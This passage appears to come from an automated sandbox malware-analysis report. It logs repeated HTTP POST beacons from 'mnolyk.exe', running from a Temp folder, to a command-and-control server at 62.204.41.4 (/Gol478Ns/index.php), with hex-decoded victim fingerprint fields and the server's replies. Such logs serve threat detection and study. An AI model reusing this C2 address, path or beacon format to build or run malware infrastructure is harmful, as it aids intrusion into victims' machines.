Feb 6, 2023 14:17:28.644062996 CET	356	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
155	192.168.2.5	49845	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:28.815135002 CET	356	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:28.877813101 CET	357	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
156	192.168.2.5	49846	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:29.052087069 CET	357	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:29.116605043 CET	358	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
157	192.168.2.5	49847	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:29.282943964 CET	358	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:29.346607924 CET	359	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
158	192.168.2.5	49848	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:29.531647921 CET	359	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:29.596512079 CET	360	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
159	192.168.2.5	49849	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:29.835563898 CET	360	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:29.900589943 CET	361	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.5	49706	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:32.563263893 CET	216	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:32.627523899 CET	217	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
160	192.168.2.5	49850	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:30.084700108 CET	361	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:30.150609970 CET	362	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
161	192.168.2.5	49851	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:30.340440035 CET	362	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:30.406188965 CET	363	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
162	192.168.2.5	49852	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:30.586453915 CET	363	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:30.649900913 CET	364	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
163	192.168.2.5	49853	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:30.867273092 CET	364	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:30.931150913 CET	365	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
164	192.168.2.5	49854	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:31.105330944 CET	365	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:31.170226097 CET	366	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
165	192.168.2.5	49855	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:31.349236965 CET	366	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:31.414278984 CET	367	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
166	192.168.2.5	49856	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:31.586278915 CET	367	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:31.649513006 CET	368	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
167	192.168.2.5	49857	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:31.816085100 CET	368	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:31.880172968 CET	369	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
168	192.168.2.5	49858	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:32.692574978 CET	369	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:32.758615971 CET	370	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
169	192.168.2.5	49859	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:33.007738113 CET	370	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:33.074064016 CET	371	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.5	49707	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:32.799134016 CET	217	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:32.866416931 CET	218	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
170	192.168.2.5	49860	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:33.773507118 CET	371	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:33.837563038 CET	372	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
171	192.168.2.5	49861	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:34.059958935 CET	372	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:34.124953985 CET	373	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
172	192.168.2.5	49862	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:34.385168076 CET	373	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:34.449311972 CET	374	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
173	192.168.2.5	49863	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:35.672249079 CET	374	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:35.737863064 CET	375	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
174	192.168.2.5	49864	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
